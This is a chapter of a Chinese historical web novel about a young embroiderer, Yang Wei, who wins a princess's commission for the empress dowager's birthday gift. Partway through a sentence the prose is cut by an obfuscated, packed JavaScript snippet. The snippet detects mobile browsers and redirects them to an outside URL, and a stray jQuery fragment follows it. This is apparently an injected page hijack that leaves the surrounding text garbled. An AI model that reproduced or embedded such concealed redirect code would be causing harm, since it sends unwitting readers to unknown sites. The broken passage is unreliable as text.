从画舫下来,杨微用过晚饭洗漱后便躺在床榻上。
明日在奇绣坊赴的这场约无疑是她的投名状,需她养精蓄锐。
点着安神香,昏昏沉沉间,四周如梦幻般虚无。
手拂开层层纱幔,宁凌出现在她的面前。
宁凌笑着,分明还是才及笄的模样,杨微寻她追她想抓住她,她又悄然消失不见。
怅然若失时,画面一转,春风拂过嫩柳,她们二人又坐于亭内。
宁凌拉着杨微衣袖,笑道:“好微儿,就给我同陆郎绣两个合心结好嘛,正好你近日无甚事。”
杨微伸手却不敢触碰到她,自她长眠后,自己只有在梦中才能见到宁凌。
这两日又累极,沾床便睡,已有大半月未见她了。
她怕梦碎了,宁凌也随之不见。
于是她眼中含泪:“合心结不灵,我为你们绣个平安福可好。”
真心瞬息万变,傻宁凌,不要赌。
宁凌神情模糊不清,笑着哭着再说些什么。
杨微却听不见,看她身体逐渐消散,她急了,想再拉住她。
蓦然惊醒,攥紧的手心空空如也,什么都没有。
只剩泪沾湿了脸侧的罗锦被。
她坐起闭了闭眼睛,泪痕已干,才躺下。
约的是今日午后,李襄钰早早就来寻她,提议二人索性去珍香楼用饭。
把锦鲤戏水图放置在匣子中,杨微亲自拿着,生怕有什么闪失。
李襄钰点了几个她们爱食的菜,劝慰她不必忧心,她见识过杨微手艺,知晓她必定能成。
顶着憔悴的脸冲她笑了笑,杨微昨日醒来后辗转反侧就入不了眠,万分疲惫。
她双手捧着乌木匣,走至奇绣坊内。
赵晔左盼右盼等到那日的杨娘子来了,热情地迎上去。
杨微示意绣品在匣子内,公主还未到,应等她到了才能打开观看。
也不急于一时,赵晔点了点头,请二人先到坊内里厅坐着等候,又吩咐婢子给两位娘子沏茶。
她把匣子放于主位边的雕花小几上,待公主亲手打开。
“公主驾到!太子妃娘娘驾到!二皇子妃娘娘驾到!”
奇绣坊外传来侍卫中气十足的恭声。
里厅几人急忙迎了上去,杨微心中一紧,未曾想到不只公主,昨日才见一面的两位娘娘竟也来了。
三位贵人身后跟着三十余个婢子同护卫,好大的排场。
她端身行了大礼。
陈曦挥手让奴才们在外候着,与皇嫂们只每人带了两个贴身宫女,踏入奇绣坊。
坊内绣娘们站成两排,跪的整齐,问贵人安。
沈明仪摆了摆手:“都起来吧。”
宫女:“公主殿下同娘娘来访,不必多礼,尔等退下,该干什么干什么去。”
赵晔躬身邀这几个贵客来到里厅,陈曦由宫女扶着,坐于主座上,二位娘娘一左一右坐在她身旁。
杨微上前端跪下:“公主殿下身旁小几上便是民女十五日所绣绣品,劳请公主殿下开之一观。”
宫女见公主殿下扫了眼身侧的匣子,快步上前打开,呈在三位娘娘中间。
“拿起来,让本宫好好看看。”
另一个宫女又走至那匣前,伸手端起那块锦鲤戏水图,在陈曦面前展开。
一赤一灰两条锦鲤跃然于眼前,锦鲤在荷叶荷花中摆尾,溪流波光粼粼,若真在流动一般。
以清雅的色调为主,摆在三人眼前,如同江南的水墨画一般,江南水乡温润雅致的韵味十足。
陈昀惊奇,此等手艺不俗。
她身为长公主,又为中宫皇后所生,什么好东西没见过,但这绣品绝对算她见过绣品里的佼佼者。
听着身旁二位嫂嫂低低惊讶声,她接过那绣品,不动声色地打量着杨微。
这几日她派人查过杨娘子的底细,她家中祖父早年做过京官,后在扬州做县令。
后年纪大了辞官,她父亲经商,家产颇为丰厚,但于京城还不够看。
现只有亲姨母在京城,便是杨椿,荣安王府的杨侧妃。
探子来报,杨娘子课业优等,在书院聪慧知礼,不卑不亢,是个聪颖的娘子,现又能绣出如此大作。
手轻拂这绣品,细腻柔软,可知她心思缜密又不知在背后付出了多少艰辛。
赵嘉姝有些怀疑:“杨娘子未满十七岁,小小年纪便有这般手艺,属实难得,这绣品真是娘子一人所绣否?”
“回娘娘,全是民女一人所绣,还望娘娘稍等一刻钟,民女当下绣一番,娘娘可叫坊内绣娘查看。”杨微跪着又一拜。
李襄钰上前两步,本想上前证实杨姐姐确实是自己所绣,这半月杨微的苦与累她都看在眼里。
听杨微这样说,知杨姐姐自有她的法子,又退下,站至原位。
杨微早预料到贵人会不信绣品是自己所绣,因此时刻准备着当场绣给公主娘娘们一看。
绣品能弄虚作假,手艺却骗不了人,有没有真本事绣娘们一看便知。
赵晔见状忙出去唤了两位老资历绣娘前来,又托人把绣绷之类绣具搬至里厅,加上她共有三位绣娘。
“回娘娘,草民三人均有将近三十年绣龄,可现场一看杨娘子的绣技。”
一刻钟倒是不久,沈明仪颔首。
宫女发话:“娘娘已准许,杨娘子请。”
杨微坐于绣凳上,拿了个绣样,绷好绣绷,把蚕丝劈丝,分至一百二十八毛的细丝。
三个绣娘也连连惊奇,她们绣了大半辈子了,劈丝也就劈成一百二十八丝。
这小娘子如此年纪便能做到,当真是心灵手巧又能沉得住心。
一看那劈成细如牛毛的丝线,赵晔就认定无需继续下去了。
杨娘子指甲微长,劈丝这般娴熟,她刺绣的手艺定十年有余。
又怕贵人们不信,她压下心中爱才之意,闭上嘴先继续观赏杨微刺绣。
杨微挑了个牡丹花的纹样,修长细嫩的手指上下翻飞,绣娘的双手是顶顶重要的。
若手不够细腻光滑,劈丝时会勾出细线,不仅使线发毛,还分不成足够细的线。
为保持双手细腻,杨微身上常备珍珠杏仁油润手和黄芪霜,日日涂手,没有一日松懈。
她的手白皙如温玉,肤若凝脂,纤长秀颀,留着半月形的指甲,甲面透着淡淡的粉。
主座上的陈曦已看得眼花缭乱。
一刻钟后,牡丹花已初具雏形,杨微把绣布取出,递给赵晔。
赵晔上前欠身传给陈曦面前的宫女:“草民三人方才一观,杨娘子绣技娴熟,手艺高深,这牡丹确与锦鲤戏水绣法一致,请娘娘一看。”
宫女呈上前去,陈曦接过那块绣布,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226218|197569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同皇嫂们一看。
针法针脚当真是一样的,三人点了点头。
陈曦正视面前跪在地上低着头的娘子,绣技尚佳,手段了得。
那日答应这个约定本是看在堂妹李襄钰的份上,现下她看着杨微。
那娘子跪的笔直,回话又淡定从容。
陈曦看出了杨微的野心,也欣赏杨微的野心。
她抬了抬手:“起身,杨娘子绣技的确高超,本宫今日见了喜爱得紧。”
“太后寿宴上的绣品就交予杨娘子全权负责,赵掌柜辅佐,你们二人可有意见?”
杨微大喜,她又跪下,行跪拜礼。
“民女谢公主殿下恩典,民女感佩涕零,定当竭尽绵薄,不负公主所托。”
赵晔也跟着跪下,公主发话了,她岂有不从之理?
何况杨微有真本事,假以时日,定能比自己绣的还好。
“离祖母寿辰不足五月,本宫给你们二人四个月的期限,不得有半点疏漏,若误了时日,后果自行承。绣成后本宫赏你们一人黄金千两。”
陈曦威严的声音在杨微耳旁炸起千层浪花,她连连应是。
完成了压在心头的大事,陈曦携两位皇子妃徐徐踏出奇绣坊,起轿回宫。
杨微双手微微发抖,腿跪得发软,李襄钰上前扶起她,有些担忧。
“姐姐,你可选好太后寿礼的样式?”
“襄钰,你可还记得那日猜灯谜我赢得的头筹?”
头筹,李襄钰回忆思索那日摆在摊前的头奖。
“那幅画!”
那幅《松鹤延年》仿的极好,正适合做刺绣的底布线稿。
原来杨姐姐早就想好了这一步,她目光闪闪看向杨微,杨姐姐慧质兰心又高瞻远瞩,令她无比佩服。
杨微问赵晔:“不知赵掌柜知晓那松鹤延年否?”
《松鹤延年》是百年前一个大师所作,真迹不知被哪位贵人收藏,只流传着临摹稿。
赵晔自然是知晓的,她点了点头,那画寓意好,松树白鹤都为吉祥之物。
她见过临摹仿画,那画足有六尺全开,也就是六尺长三尺宽还余,画的繁复细致。
她听闻杨娘子年后要去书院,若是这副画的话,四个月时光两个人能绣也是能绣,不过有些赶。
见赵晔眉头紧锁,脸色凝重,杨微知她在忧虑二人能否在公主给的期限前完成绣品。
“赵掌柜不必担忧,待我回府与王爷禀明此事,此事乃公主所托,想必书院那边会有宽限。”
如此便还行,赵晔略松了口气。
她们二人若是每日能一起绣四个时辰,估摸着两个月便能绣完,就是不晓得杨微那边到时候能宽限多久。
“杨娘子日后便来奇绣坊同我一起刺绣,我这坊内绣具齐全,丝线颜色也多。”
如此甚好,既然赵晔是奇绣坊的掌柜,她自备这些,二人便省心了许多。
她与赵晔约定好这两日假内无事每日辰时至申时来奇绣坊,四个时辰对杨微来说轻而易举。
走出绣坊,杨微还觉着方才的事进展顺畅的像是一场梦。
她望着京城街上叫卖的小贩,人来人往的酒楼客栈,感慨万分。
此刻她才真正感受到自己融入了这京城,她靠着自己双手踏出了第一步。
前方之路再难又如何?
路在她脚下。